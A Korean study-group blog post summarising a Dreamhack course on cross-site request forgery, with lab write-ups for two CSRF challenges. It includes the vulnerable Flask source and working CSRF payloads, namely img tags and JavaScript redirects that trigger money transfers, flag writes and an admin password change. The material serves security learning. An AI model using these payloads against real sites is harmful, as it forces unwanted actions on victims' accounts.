ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SISS/웹해킹 스터디] 2학기 5주차 스터디 - CSRF
    24-2 SISS/웹해킹 2024. 10. 6. 12:00

    2학기 5주차 스터디 - CSRF

    : 5주차 09/30 ~ 10/06 [드림핵] Cross Site Request Forgery (CSRF)

    수강 인증 화면 캡쳐

     

    교차 사이트 요청 위조


    • 쿠키
      • 서명과 같은 역할(요청에 동의) → 쿠키 탈취(XSS) 및 위조(CSRF) 위협에 주의

     

    • Cross Site Request Forgery(CSRF) → 이용자를 속여 의도치 않은 요청에 동의하게 함(이용자가 HTTP 요청을 보내도록 함)
      • 예시 코드 1(송금 기능 수행)→ 계좌 비밀번호 등의 추가 인증이 없기 때문에 로그인한 모두가 해당 기능을 이용할 수 있음
        // 이용자의 송금 요청
        GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1
        Host: bank.dreamhack.io
        Cookie: session=IeheighaiToo4eenahw3
        
      • # 송금 기능을 수행하는 /sendmoney EP의 코드 # 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함. @app.route('/sendmoney') def sendmoney(name): # 송금을 받는 사람과 금액을 입력받음. to_user = request.args.get('to') amount = int(request.args.get('amount')) # 송금 기능 실행 후, 결과 반환 success_status = send_money(to_user, amount) # 송금이 성공했을 때, if success_status: # 성공 메시지 출력 return "Send success." # 송금이 실패했을 때, else: # 실패 메시지 출력 return "Send fail."

     

    • Cross Site Request Forgery 동작 → 이용자가 악성 스크립트(HTTP 요청을 보내는 코드)가 담긴 페이지를 조회하도록 유도
      • CSRF 공격 스크립트
        • HTML 혹은 Javascript를 이용해 작성
    // HTML img 태그 공격 코드 예시
    <img src='http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337' width=0px height=0px>
    
    // Javascript 공격 코드 예시
    /* 새 창 띄우기 */
    window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
    /* 현재 창 주소 옮기기 */
    location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337';
    location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');

    CSRF 동작

     

    • CSRF 실습
      • 10,000원을 가지고 있는 6명의 사용자를 이용해 드림핵 잔고를 60,000원으로 만들기
    <img src="/sendmoney?to=Dreamhack&amount=10000">
    <img src=1 onerror="fetch('/sendmoney?to=Dreamhack&amount=10000');">
    <link rel="stylesheet" href="/sendmoney?to=Dreamhack&amount=10000">

    CSRF 실습

     

    • XSS와 CSRF의 차이
      • 공통점
        • 클라이언트를 대상으로 함
        • 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야함
      • 차이점
        • 목적이 다름
          • XSS → 인증 정보 탈취(세션 및 쿠키)
          • CSRF → HTTP 요청 전송
        • 실행 방법
          • XSS → 공격할 사이트의 오리진에서 스크립트 실행
          • CSRF → 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한을 이용해 공격자가 웹 서비스의 임의 기능을 실행할 수 있음

     

    퀴즈 1(CSRF)


    CSRF 퀴즈

     

    CSRF 실습 1


    • 페이지
      엔드포인트 설명
      / 인덱스 페이지
      /vuln 이용자가 입력한 값을 출력(XSS가 발생할 수 있는 키워드를 필터링)
      /memo 사용자가 작성한 메모를 출력
      /admin/notice_flag 메모에 FLAG를 작성(로컬호스트에서 접속해야 하며, 사이트 관리자만 사용할 수 있음)
      /flag 전달된 URL에 임의 이용자가 접속하도록 함

     

    • 웹 서비스 분석
      • @app.route(”/vuln”) → 이용자가 전달한 param 값을 출력(frame, script, on은 *으로 치환)
        @app.route("/vuln") # vuln 페이지 라우팅 (이용자가 /vuln 페이지에 접근시 아래 코드 실행)
        def vuln():
            param = request.args.get("param", "").lower()   # 이용자가 입력한 param 파라미터를 소문자로 변경
            xss_filter = ["frame", "script", "on"]  # 세 가지 필터링 키워드
            for _ in xss_filter:
                param = param.replace(_, "*")   # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환
            return param    # 이용자의 입력 값을 화면 상에 표시
        
      • @app.route(”/memo”) → 이용자의 입력을 기록 및 출력
        @app.route('/memo') # memo 페이지 라우팅
        def memo(): # memo 함수 선언
            global memo_text # 메모를 전역변수로 참조
            text = request.args.get('memo', '') # 이용자가 전송한 memo 입력값을 가져옴
            memo_text += text + '\\n' # 메모의 마지막에 새 줄 삽입 후 메모에 기록
            return render_template('memo.html', memo=memo_text) # 사이트에 기록된 메모를 화면에 출력
        
      • @app.route(”/admin/notice_flag”) → userid 파라미터가 admin일 경우 플래그를 작성(로컬 호스트에서 접근)
        @app.route('/admin/notice_flag') # notice_flag 페이지 라우팅
        def admin_notice_flag():
            global memo_text # 메모를 전역변수로 참조
            if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우
                return 'Access Denied' # 접근 제한
            if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우
                return 'Access Denied 2' # 접근 제한
            memo_text += f'[Notice] flag is {FLAG}\\n' # 위의 조건을 만족한 경우 메모에 FLAG 기록
            return 'Ok' # Ok 반환
        
      • @app.route(”/flag”) → 메소드에 따라 다른 기능 수행
        • GET → URL 입력 페이지 제공
        • POST → param 파라미터를 check_csrf()의 인자로 넣고 호출 → check_csrf()는 인자를 URL의 파라미터로 설정한 후 read_url()을 통해 셀레니움을 이용하여 방문
        @app.route("/flag", methods=["GET", "POST"])    # flag 페이지 라우팅 (GET, POST 요청을 모두 받음)
        def flag():
            if request.method == "GET": # 이용자의 요청이 GET 메소드인 경우
                return render_template("flag.html") # 이용자에게 링크를 입력받는 화면을 출력
            elif request.method == "POST":  # 이용자의 요청이 POST 메소드인 경우
                param = request.form.get("param", "")   # param 파라미터를 가져온 후,
                if not check_csrf(param):   # 관리자에게 접속 요청 (check_csrf 함수)
                    return '<script>alert("wrong??");history.go(-1);</script>'
                return '<script>alert("good");history.go(-1);</script>'
        def check_csrf(param, cookie={"name": "name", "value": "value"}):
            url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>"  # 로컬 URL 설정
            return read_url(url, cookie)  # URL 방문
        def read_url(url, cookie={"name": "name", "value": "value"}):
            cookie.update({"domain": "127.0.0.1"})  # 관리자 쿠키가 적용되는 범위를 127.0.0.1로 제한되도록 설정
            try:
                service = Service(executable_path="/chromedriver")
                options = webdriver.ChromeOptions() # 크롬 옵션을 사용하도록 설정
                for _ in [
                    "headless",
                    "window-size=1920x1080",
                    "disable-gpu",
                    "no-sandbox",
                    "disable-dev-shm-usage",
                ]:
                    options.add_argument(_) # 크롬 브라우저 옵션 설정
                driver = webdriver.Chrome(service=service, options=options) # 셀레늄에서 크롬 브라우저 사용
                driver.implicitly_wait(3)   # 크롬 로딩타임을 위한 타임아웃 3초 설정
                driver.set_page_load_timeout(3) # 페이지가 오픈되는 타임아웃 시간 3초 설정
                driver.get("<http://127.0.0.1:8000/>")    # 관리자가 CSRF-1 문제 사이트 접속
                driver.add_cookie(cookie)   # 관리자 쿠키 적용
                driver.get(url) # 인자로 전달된 url에 접속
            except Exception as e:
                driver.quit()   # 셀레늄 종료
                print(str(e))
                # return str(e)
                return False    # 접속 중 오류가 발생하면 비정상 종료 처리
            driver.quit()   # 셀레늄 종료
            return True # 정상 종료 처리
        

     

    • 취약점 분석
      • @app.route(”/vuln”) → 키워드 필터링이 있어 xss 공격은 불가하지만 꺽쇠 및 다른 태그를 사용할 수 있음 → csrf 공격 가능

     

    • 익스플로잇
      • 플래그 획득을 위해서는 /admin/notice_flag 페이지를 로컬 호스트로 접근해야함 → 로컬 호스트 이용자가 요청을 전송하도록 flag 페이지를 이용해 코드 작성
      1. 테스트베드 생성 → 드림핵 툴즈를 이용해 URL 접속 기록을 확인
      2. CSRF 취약점 테스트 → img 태그를 삽입해 이미지 출력 확인
        // URL에 접속하는 공격 코드 작성
        <img src="https://jugwwka.request.dreamhack.games">

     

    • CSRF 공격 코드 작성 및 실행
      • flag 페이지에 userid를 admin으로 설정한 코드 입력
    <img src="/admin/notice_flag?userid=admin" />

    CSRF 실습 1

     

    CSRF 실습 2


    • 문제 → CSRF를 통해 관리자 계정으로 로그인
    users = {
        'guest': 'guest',
        'admin': FLAG
    }

     

    • 페이지
      엔드포인트 설명
      / 인덱스 페이지
      /vuln 이용자가 입력한 값을 출력(XSS 발생 가능 키워드 필터링)
      /flag GET, POST 요청 처리 및 CSRF 공격 방어와 세션 관리 수행
      /login 로그인 페이지 처리
      (사용자가 유효한 사용자명과 비밀번호를 제출할 경우) 세션 설정 및 타 페이지로 리디렉션
      /change_password 비밀번호 변경 처리
      사용자의 세션 확인 후, 새로운 비밀번호 설정

     

    • 웹 서비스 분석
      • @app.route(”/vuln”) → 이용자가 전달한 param 값을 출력(실습 1과 동일/frame, script, on은 *으로 치환)
        @app.route("/vuln")
        def vuln():
            param = request.args.get("param", "").lower()
            # 이용자가 입력한 param 파라미터를 소문자로 변경
            xss_filter = ["frame", "script", "on"]
            # 세 가지 필터링 키워드
            for _ in xss_filter:
                param = param.replace(_, "*")
                # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환
            return param
        
      • @app.route(”/flag”) → 메소드에 따라 다른 기능 수행
        • GET → URL을 입력받는 페이지 제공
        • POST → param 값을 가져온 후 세션 아이디 생성 → 생성한 세션 아이디를 키로 사용하여 admin 값을 session_storage에 저장 → check_scrf 함수를 이용하여 세션 아이디의 유효성 확인
        @app.route("/flag", methods=["GET", "POST"])
        # flag 페이지 라우팅 (GET, POST 요청을 모두 받음)
        def flag():
            if request.method == "GET":
                return render_template("flag.html")
            elif request.method == "POST":
                param = request.form.get("param", "")
                session_id = os.urandom(16).hex()
                # 무작위 세션 ID 생성 후 16진수 문자열로 변환
        
                session_storage[session_id] = 'admin'
                # 세션 ID를 키로 사용하여 'admin' 값을 session_storage 딕셔너리에 저장
        
                if not check_csrf(param, {"name":"sessionid", "value": session_id}):
                # CSRF 토큰 (세션 ID)이 유효한지 확인
                    return '<script>alert("wrong??");history.go(-1);</script>'
                return '<script>alert("good");history.go(-1);</script>'
        
      • @app.route(”/login”) → 메소드에 따라 다른 기능 수행
        • GET → 이용자 명과 비밀번호를 입력받는 페이지 제공
        • POST → 이용자 명과 비밀번호를 pw와 비교→ (로그인 성공 시) 인덱스 페이지로 리디렉션하기 위한 resp 객체 생성 및 session_id 생성(사용자 식별, 저장 시 이용)
        @app.route('/login', methods=['GET', 'POST'])
        def login():
            if request.method == 'GET':
                return render_template('login.html')
        
            elif request.method == 'POST':
                username = request.form.get('username')
                # POST 요청의 form 데이터에서 'username'을 가져옴
                password = request.form.get('password')
                # POST 요청의 form 데이터에서 'password'를 가져옴
                
                try:
                    pw = users[username]
                except:
                    return '<script>alert("not found user");history.go(-1);</script>'
                    # 사용자가 존재하지 않는 경우 경고를 표시하고 이전 페이지로 이동
                
                if pw == password:
                    resp = make_response(redirect(url_for('index')))
                    session_id = os.urandom(8).hex()
                    # 무작위 세션 ID를 생성하고 16진수 문자열로 변환
                    session_storage[session_id] = username
                    # 세션 ID를 키로 사용하여 현재 사용자를 'session_storage'에 저장
                    resp.set_cookie('sessionid', session_id)
                    # 생성된 세션 ID를 쿠키로 설정하여 사용자에게 전달
                    return resp    # 로그인이 성공한 경우 리디렉션 응답을 반환
        
                return '<script>alert("wrong password");history.go(-1);</script>'
                # 비밀번호가 일치하지 않는 경우 경고를 표시 후 이전 페이지로 이동
        
      • @app.route(”/change_password”) → GET 요청을 통해 pw 매개변수 값을 가져와 pw 변수에 저장 + 쿠키에서 세션 아이디를 가져와 session_id 변수에 저장 → 세션 아이디를 통해 로그인한 사용자 확인 → users[username]=pw 세션을 통해 확인한 사용자의 비밀번호를 pw로 변경
        @app.route("/change_password")
        def change_password():
            pw = request.args.get("pw", "")
            session_id = request.cookies.get('sessionid', None)
            try:
                username = session_storage[session_id]
            except KeyError:
                return render_template('index.html', text='please login')
                # 세션 ID가 유효하지 않거나 세션을 찾을 수 없는 경우
        
            users[username] = pw
            # 세션에 연결된 사용자의 비밀번호를 'pw'로 변경
            return 'Done'
        

     

    • 취약점 분석
      • @app.route(”/vuln”) → frame, script, on 외의 키워드와 태그 사용이 가능하므로 csrf 공격 가능

     

    •  익스플로잇
      • flag 페이지에서 change_password 페이지로 요청을 전송하도록 코드 작성
      • login 페이지에서 변경한 비밀번호(admin)로 로그인하여 로그인
    <img src="/change_password?pw=admin">

    CSRF 실습 2 - 코드 입력
    CSRF 실습 2 - 로그인 및 플래그 확인

Designed by Tistory.